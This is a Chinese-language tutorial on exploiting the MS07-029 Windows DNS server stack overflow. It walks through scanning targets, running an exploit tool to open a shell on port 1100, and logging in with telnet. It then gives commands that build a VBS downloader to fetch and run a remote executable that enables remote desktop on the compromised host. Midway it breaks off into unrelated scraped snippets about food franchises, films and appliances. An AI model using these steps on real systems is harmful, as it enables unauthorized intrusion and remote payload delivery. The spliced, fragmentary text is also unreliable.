前言:
MS07-029,Windows 域名系统 (DNS) 服务器服务的远程过程调用 (RPC) 管理接口中存在基于堆栈的缓冲区溢出。漏洞的前提是没打补丁,开启DNS服务的所有版本WINDOWS 2000 Server和WINDOWS 2003 Server。
今天,就让我带领各路英豪,踏上DNS EXP之路。
我们先来看看所用工具的界面:
这就是传说中的利用工具,可以通杀2000SEVER,2003SEVER系统,另外还具备了扫描功能!
先用它来对主机进行扫描:
在我们的命令行下输入:“dns –s 目标IP地址”
稍等片刻,开放的端口以及操作系统以出现在我们面前,如果出现了如上图所显示的“1029:Vulnerability”那么恭喜你,你马上就会成功得到这台主机的权限了
上图意思就是1029端口存在漏洞。
现在我们来最关键的步骤――溢出:
在命令行内输入
dns -2003chs *.*.93.189 1029
其中-2003ch的意思是操作系统的型号,-2003chs即简体中文版的2003系统,
如果是2000的系统就使用“-2000all”参数,*.*.93.189就是我们的目标IP地址,1029就是刚才扫描出存在漏洞的端口”。
出现“Attack sent ,check port 1100”字样,说明已经打开了目标地址的1100端口,我们TELNET上去:TELNET *.*.93.189 1100
我们现在已经成功的入侵了对方的电脑,并且得到了管理员的权限。
下面我给大家介绍一下如何在肉鸡上面开3389,
在命令行里输入
@echo with wscript:if .arguments.count^ tony.vbs
@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >>tony.vbs
@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:" web.status:.quit >>tony.vbs
@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >>tony.vbs
大概的意思就是在命令行创立一个用来下载的VBS脚本tony.vbs
然后把开3389的工具上传到你的个人空间,
我这里用的是火狐开3389的工具,在命令行里输入 cscript tony.vbs http://你空间地址/wrsky.exe c:\wrsky.exe
跟着公共消费市场上呈现了越来越多的美食产物,公共消费者对付这些美食产物的喜爱和需求量也是逐渐的增多。那么浩瀚的美食产物公共有各人很是看好的产物和加盟品牌,周黑鸭加盟品牌逐渐的走入各人的糊口傍边,并且加...
本文目录一览: 1、《黑客帝国4》结局解析是什么? 2、黑客帝国4彩蛋在第几分钟 3、黑客帝国4结尾有彩蛋吗 4、黑客帝国4片尾有彩蛋吗 《黑客帝国4》结局解析是什么? 首先我们回顾一下...
微信记录同步会覆盖吗_微信记录同步登录 Twilio正在使开发人员更容易构建应用程序,以响应人们在电话中所说的话,周三宣布了一项新功能。该公司的自动语音识别测试版将接听来电者的演讲并将其转换为文本。...
许多消费者更倾向于购买一款电压力锅,而有专家也表示,电压力煲将会逐步取代电饭煲和明火压力锅,成为中国家庭烹饪的首选。那么,我们到底该选择一款什么样的电高压锅品牌呢?又该怎么去选购呢?下面就来为大家从选...
杨紫张一山同台...
外行看牛逼,内行看笑话。教你用一段代码伪装成黑客,下面介绍如何实现,Win+R键,输入CMD,在打开的窗口输入color a 回车(命令提示符字体变为绿色),然后再输入 dir /s 回车即可(其...